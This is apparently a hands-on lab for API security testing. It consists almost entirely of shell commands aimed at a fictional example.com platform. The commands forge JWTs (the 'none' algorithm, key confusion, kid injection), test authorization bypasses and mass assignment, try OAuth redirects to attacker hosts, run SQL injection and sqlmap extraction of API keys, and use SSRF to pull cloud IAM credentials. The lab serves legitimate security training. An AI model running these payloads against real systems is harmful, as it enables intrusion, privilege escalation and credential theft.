Lab 25: API Security Testing¶

# Authenticate as standard user and obtain JWT
curl -s -X POST https://api.example.com/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "testuser", "password": "REDACTED"}' | jq .

# Expected response (SYNTHETIC)
{
  "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InRlc3Qta2V5LTEifQ.eyJzdWIiOiJ1c2VyLTEwMDEiLCJ0ZW5hbnQiOiJ0ZW5hbnQtMDAxIiwicm9sZSI6InVzZXIiLCJzY29wZXMiOlsicmVhZCIsIndyaXRlIl0sImlhdCI6MTcxMTkzNjAwMCwiZXhwIjoxNzExOTM5NjAwLCJpc3MiOiJhdXRoLmV4YW1wbGUuY29tIn0.SYNTHETIC_SIGNATURE_DATA",
  "refresh_token": "REDACTED-REFRESH-TOKEN",
  "token_type": "Bearer",
  "expires_in": 3600
}

# Store the token for subsequent requests
export TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InRlc3Qta2V5LTEifQ.eyJzdWIiOiJ1c2VyLTEwMDEiLCJ0ZW5hbnQiOiJ0ZW5hbnQtMDAxIiwicm9sZSI6InVzZXIiLCJzY29wZXMiOlsicmVhZCIsIndyaXRlIl0sImlhdCI6MTcxMTkzNjAwMCwiZXhwIjoxNzExOTM5NjAwLCJpc3MiOiJhdXRoLmV4YW1wbGUuY29tIn0.SYNTHETIC_SIGNATURE_DATA"

# Authenticate as admin
curl -s -X POST https://api.example.com/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": "REDACTED"}' | jq .

export ADMIN_TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InRlc3Qta2V5LTEifQ.eyJzdWIiOiJ1c2VyLTkwMDEiLCJ0ZW5hbnQiOiJ0ZW5hbnQtMDAxIiwicm9sZSI6ImFkbWluIiwic2NvcGVzIjpbInJlYWQiLCJ3cml0ZSIsImFkbWluIiwiYmlsbGluZyJdLCJpYXQiOjE3MTE5MzYwMDAsImV4cCI6MTcxMTkzOTYwMCwiaXNzIjoiYXV0aC5leGFtcGxlLmNvbSJ9.SYNTHETIC_ADMIN_SIGNATURE"

# Authenticate as cross-tenant user
curl -s -X POST https://api.example.com/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "crossuser", "password": "REDACTED"}' | jq .

export CROSS_TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InRlc3Qta2V5LTEifQ.eyJzdWIiOiJ1c2VyLTIwMDEiLCJ0ZW5hbnQiOiJ0ZW5hbnQtMDAyIiwicm9sZSI6InVzZXIiLCJzY29wZXMiOlsicmVhZCIsIndyaXRlIl0sImlhdCI6MTcxMTkzNjAwMCwiZXhwIjoxNzExOTM5NjAwLCJpc3MiOiJhdXRoLmV4YW1wbGUuY29tIn0.SYNTHETIC_CROSS_SIGNATURE"

# Test REST API health endpoint
curl -s https://api.example.com/v2/health | jq .
# Expected: {"status": "healthy", "version": "2.4.1", "timestamp": "2026-04-01T08:00:00Z"}

# Test GraphQL endpoint
curl -s -X POST https://graphql.example.com/query \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __typename }"}' | jq .
# Expected: {"data": {"__typename": "Query"}}

# Verify API key authentication
curl -s https://api.example.com/v2/me \
  -H "X-API-Key: REDACTED-API-KEY-EXAMPLE" | jq .

# Check common documentation paths
for path in /docs /redoc /swagger /swagger-ui /swagger.json /openapi.json \
            /api-docs /api/docs /api/swagger /api/v2/docs /api/v2/openapi.json \
            /graphql /graphiql /playground /altair /voyager \
            /.well-known/openapi.json /v1/docs /v2/docs /v3/docs; do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://api.example.com${path}")
    echo "[${STATUS}] https://api.example.com${path}"
done

# Download the OpenAPI spec
curl -s https://api.example.com/openapi.json | jq . > novaplatform-openapi.json

# Count total endpoints
cat novaplatform-openapi.json | jq '.paths | keys | length'
# Expected: 47

# List all endpoints with HTTP methods
cat novaplatform-openapi.json | jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] | "\(.key | ascii_upcase) \($path)"' | sort

# Extract security schemes from OpenAPI spec
cat novaplatform-openapi.json | jq '.components.securitySchemes'

# Find endpoints with no security requirements
cat novaplatform-openapi.json | jq -r '
  .paths | to_entries[] |
  .key as $path |
  .value | to_entries[] |
  select(.value.security == [] or .value.security == null) |
  "\(.key | ascii_upcase) \($path)"
'

# Use ffuf to discover undocumented API endpoints
ffuf -u "https://api.example.com/v2/FUZZ" \
  -w /usr/share/wordlists/api-endpoints.txt \
  -H "Authorization: Bearer $TOKEN" \
  -mc 200,201,301,302,403,405 \
  -fc 404 \
  -t 10 \
  -rate 50 \
  -o ffuf-results.json \
  -of json

# Use kiterunner for API-specific endpoint discovery
kr scan https://api.example.com/v2 \
  -w /usr/share/wordlists/kiterunner/routes-large.kite \
  -H "Authorization: Bearer $TOKEN" \
  --fail-status-codes 404 \
  --max-redirects 0

# Retrieve debug configuration (SYNTHETIC DATA)
curl -s https://api.example.com/v2/debug/config \
  -H "Authorization: Bearer $TOKEN" | jq .

# Retrieve internal route listing
curl -s https://api.example.com/v2/debug/routes \
  -H "Authorization: Bearer $TOKEN" | jq '.routes[] | "\(.method) \(.path) [\(.auth_required)]"' -r | sort

# Capture and analyze response headers
curl -s -I https://api.example.com/v2/health

# Trigger various error conditions to analyze response detail

# 1. Invalid JSON
curl -s -X POST https://api.example.com/v2/auth/login \
  -H "Content-Type: application/json" \
  -d 'invalid-json' | jq .

# Expected (SYNTHETIC):
# {
#   "detail": "JSON decode error at line 1 column 1: Expecting value",
#   "type": "json_invalid",
#   "trace_id": "trace-abc123",
#   "stack_trace": "File \"/app/main.py\", line 42, in parse_body..."
# }

# 2. Invalid field type
curl -s -X POST https://api.example.com/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": 12345, "password": true}' | jq .

# Expected (SYNTHETIC):
# {
#   "detail": [
#     {
#       "loc": ["body", "username"],
#       "msg": "str type expected",
#       "type": "type_error.str",
#       "ctx": {"model": "LoginRequest", "field": "username"}
#     }
#   ]
# }

# 3. Non-existent endpoint with SQL-like parameter
curl -s "https://api.example.com/v2/users/1%20OR%201=1" \
  -H "Authorization: Bearer $TOKEN" | jq .

# Expected (SYNTHETIC):
# {
#   "detail": "User not found",
#   "query_attempted": "SELECT * FROM users WHERE id = '1 OR 1=1'",
#   "error_code": "USER_NOT_FOUND"
# }

# Compare v1 and v2 endpoints to find deprecated but accessible functionality
curl -s https://api.example.com/v1/docs 2>/dev/null | python3 -c "
import sys, json
spec = json.load(sys.stdin)
v1_paths = set(spec.get('paths', {}).keys())
print(f'V1 endpoints: {len(v1_paths)}')
for p in sorted(v1_paths):
    print(f'  {p}')
"

# Test v1 authentication — may use weaker mechanism
curl -s -X POST https://api.example.com/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "testuser", "password": "REDACTED"}' | jq .

# Decode the JWT header
echo "$TOKEN" | cut -d'.' -f1 | base64 -d 2>/dev/null | jq .

# Decode the JWT payload
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .

# Use jwt_tool to test algorithm confusion attacks
python3 jwt_tool.py "$TOKEN" -X a

# Manual none algorithm attack
# Create header with alg: none
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Create payload with admin role
echo -n '{"sub":"user-1001","tenant":"tenant-001","role":"admin","scopes":["read","write","admin","billing"],"iat":1711936000,"exp":1999999999,"iss":"auth.example.com"}' | base64 | tr -d '=' | tr '/+' '_-'

# Construct the forged token (header.payload. with empty signature)
FORGED_NONE="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyLTEwMDEiLCJ0ZW5hbnQiOiJ0ZW5hbnQtMDAxIiwicm9sZSI6ImFkbWluIiwic2NvcGVzIjpbInJlYWQiLCJ3cml0ZSIsImFkbWluIiwiYmlsbGluZyJdLCJpYXQiOjE3MTE5MzYwMDAsImV4cCI6MTk5OTk5OTk5OSwiaXNzIjoiYXV0aC5leGFtcGxlLmNvbSJ9."

# Test the forged token
curl -s https://api.example.com/v2/admin/users \
  -H "Authorization: Bearer $FORGED_NONE" | jq .

# Fetch the public key
curl -s https://auth.example.com/.well-known/jwks.json | jq .

# Convert JWKS to PEM format
python3 -c "
from jwcrypto import jwk
import json

# Synthetic JWKS data
jwks_data = '{\"keys\":[{\"kty\":\"RSA\",\"kid\":\"test-key-1\",\"use\":\"sig\",\"alg\":\"RS256\",\"n\":\"SYNTHETIC_RSA_MODULUS_DATA\",\"e\":\"AQAB\"}]}'
jwks = json.loads(jwks_data)
key = jwk.JWK(**jwks['keys'][0])
print(key.export_to_pem())
" > public_key.pem

# Use jwt_tool for key confusion attack (RS256 → HS256)
python3 jwt_tool.py "$TOKEN" -X k -pk public_key.pem

# Test kid parameter injection via directory traversal
python3 jwt_tool.py "$TOKEN" -X i -I -hc kid -hv "../../../../../../dev/null" -pc role -pv admin

# Test kid parameter injection via SQL injection
python3 jwt_tool.py "$TOKEN" -X i -I -hc kid -hv "test-key-1' UNION SELECT 'SYNTHETIC-KEY' -- " -pc role -pv admin

# Access own profile (authorized)
curl -s https://api.example.com/v2/users/user-1001/profile \
  -H "Authorization: Bearer $TOKEN" | jq .

# Attempt to access another user's profile (BOLA test)
curl -s https://api.example.com/v2/users/user-1002/profile \
  -H "Authorization: Bearer $TOKEN" | jq .

# Test cross-tenant access — use tenant-001 token to access tenant-002 project
curl -s https://api.example.com/v2/projects/proj-2001 \
  -H "Authorization: Bearer $TOKEN" | jq .

# Test admin endpoints with standard user token

# 1. Admin user listing
curl -s https://api.example.com/v2/admin/users \
  -H "Authorization: Bearer $TOKEN" | jq '.users | length'
# Expected: Returns user list even though testuser is not admin

# 2. Admin configuration
curl -s https://api.example.com/v2/admin/config \
  -H "Authorization: Bearer $TOKEN" | jq .

# 3. Admin audit log
curl -s https://api.example.com/v2/admin/audit-log \
  -H "Authorization: Bearer $TOKEN" | jq '.entries[:3]'

# 4. User impersonation (admin-only function)
curl -s -X POST https://api.example.com/v2/admin/impersonate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"target_user_id": "user-9001"}' | jq .

# Step 1: Initiate OAuth2 flow — note the state parameter handling
curl -s -D - "https://auth.example.com/oauth2/authorize?\
client_id=REDACTED-CLIENT-ID&\
response_type=code&\
redirect_uri=https://app.example.com/callback&\
scope=read+write+admin&\
state=random-state-value" 2>&1 | head -20

# Test open redirect in OAuth2 flow
# 1. Subdomain takeover via redirect_uri
curl -s -o /dev/null -w "%{http_code} %{redirect_url}" \
  "https://auth.example.com/oauth2/authorize?\
client_id=REDACTED-CLIENT-ID&\
response_type=code&\
redirect_uri=https://evil.app.example.com/callback&\
scope=read+write&\
state=test-state"

# 2. Path traversal in redirect_uri
curl -s -o /dev/null -w "%{http_code} %{redirect_url}" \
  "https://auth.example.com/oauth2/authorize?\
client_id=REDACTED-CLIENT-ID&\
response_type=code&\
redirect_uri=https://app.example.com/callback/../../../attacker-page&\
scope=read+write&\
state=test-state"

# 3. Fragment-based redirect bypass
curl -s -o /dev/null -w "%{http_code} %{redirect_url}" \
  "https://auth.example.com/oauth2/authorize?\
client_id=REDACTED-CLIENT-ID&\
response_type=code&\
redirect_uri=https://app.example.com/callback%23@attacker.example.com&\
scope=read+write&\
state=test-state"

# Request admin scope as regular user — test if authorization server validates
curl -s -X POST https://auth.example.com/oauth2/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code&\
code=SYNTHETIC-AUTH-CODE&\
client_id=REDACTED-CLIENT-ID&\
client_secret=REDACTED-CLIENT-SECRET&\
redirect_uri=https://app.example.com/callback&\
scope=read write admin billing"

# The v1 token format is base64(username:timestamp:role:tenant)
# Forge an admin token
FORGED_V1=$(echo -n "admin:1711936000:admin:tenant-001" | base64)
echo "Forged v1 token: $FORGED_V1"

# Use forged token to access v1 admin endpoints
curl -s https://api.example.com/v1/admin/users \
  -H "Authorization: Basic $FORGED_V1" | jq .

# Normal search request
curl -s -X POST https://api.example.com/v2/search \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "project report", "type": "projects", "limit": 10}' | jq .

# Test ORDER BY injection in the sort parameter
curl -s "https://api.example.com/v2/projects?sort=name&order=ASC" \
  -H "Authorization: Bearer $TOKEN" | jq .

# Inject via sort parameter
curl -s "https://api.example.com/v2/projects?sort=name;SELECT+pg_sleep(5)--&order=ASC" \
  -H "Authorization: Bearer $TOKEN" -w "\nTime: %{time_total}s\n"

# Time-based blind SQL injection via sort parameter
# Test with conditional sleep
curl -s "https://api.example.com/v2/projects?sort=CASE+WHEN+(1=1)+THEN+pg_sleep(5)+ELSE+name+END&order=ASC" \
  -H "Authorization: Bearer $TOKEN" -w "\nTime: %{time_total}s\n"

# Confirm with false condition (should be fast)
curl -s "https://api.example.com/v2/projects?sort=CASE+WHEN+(1=2)+THEN+pg_sleep(5)+ELSE+name+END&order=ASC" \
  -H "Authorization: Bearer $TOKEN" -w "\nTime: %{time_total}s\n"

# Use sqlmap for automated extraction (SYNTHETIC - educational only)
sqlmap -u "https://api.example.com/v2/projects?sort=name&order=ASC" \
  --headers="Authorization: Bearer $TOKEN" \
  --param-del="&" \
  -p "sort" \
  --technique=T \
  --dbms=PostgreSQL \
  --level=3 \
  --risk=2 \
  --batch \
  --threads=1 \
  --delay=1

# Expected sqlmap output (SYNTHETIC):
# [INFO] parameter 'sort' is vulnerable. Type: time-based blind
# [INFO] the back-end DBMS is PostgreSQL

# Extract database information (SYNTHETIC - educational only)
sqlmap -u "https://api.example.com/v2/projects?sort=name&order=ASC" \
  --headers="Authorization: Bearer $TOKEN" \
  -p "sort" \
  --technique=T \
  --dbms=PostgreSQL \
  --dbs \
  --batch

# Enumerate tables (SYNTHETIC - educational only)
sqlmap -u "https://api.example.com/v2/projects?sort=name&order=ASC" \
  --headers="Authorization: Bearer $TOKEN" \
  -p "sort" \
  --technique=T \
  --dbms=PostgreSQL \
  -D novaplatform_db \
  --tables \
  --batch

# Test SQLi in JSON body search query
curl -s -X POST https://api.example.com/v2/search \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "test\" OR 1=1--", "type": "projects", "limit": 100}' | jq .

# UNION-based extraction of API keys (SYNTHETIC - educational only)
curl -s -X POST https://api.example.com/v2/search \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "x\" UNION SELECT id, key_value, user_id, NULL, NULL FROM api_keys--",
    "type": "projects",
    "limit": 100
  }' | jq .

# Review the PATCH /v2/me endpoint schema
cat novaplatform-openapi.json | jq '.paths["/v2/me"].patch.requestBody.content["application/json"].schema'

# Attempt to set role via profile update (field not in documented schema)
curl -s -X PATCH https://api.example.com/v2/me \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "full_name": "Test User",
    "role": "admin"
  }' | jq .

# Attempt to upgrade subscription tier without payment
curl -s -X PATCH https://api.example.com/v2/me \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "full_name": "Test User",
    "subscription_tier": "enterprise",
    "billing_exempt": true
  }' | jq .

# Attempt to switch tenant via profile update
curl -s -X PATCH https://api.example.com/v2/me \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "full_name": "Test User",
    "tenant": "tenant-002"
  }' | jq .

# Request project listing — analyze what data is returned vs. what is needed
curl -s https://api.example.com/v2/projects \
  -H "Authorization: Bearer $TOKEN" | jq '.projects[0]'

# Legitimate webhook test
curl -s -X POST https://api.example.com/v2/integrations/webhook-test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://webhook.example.com/test",
    "payload": {"event": "test", "timestamp": "2026-04-01T10:00:00Z"}
  }' | jq .

# Attempt SSRF to internal metadata service (cloud)
curl -s -X POST https://api.example.com/v2/integrations/webhook-test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://169.254.169.254/latest/meta-data/",
    "payload": {"event": "test"}
  }' | jq .

# Retrieve IAM role credentials via SSRF (SYNTHETIC)
curl -s -X POST https://api.example.com/v2/integrations/webhook-test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "payload": {"event": "test"}
  }' | jq -r '.response_body'

# Retrieve temporary credentials for the IAM role (SYNTHETIC)
curl -s -X POST https://api.example.com/v2/integrations/webhook-test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/novaplatform-api-role",
    "payload": {"event": "test"}
  }' | jq -r '.response_body' | jq .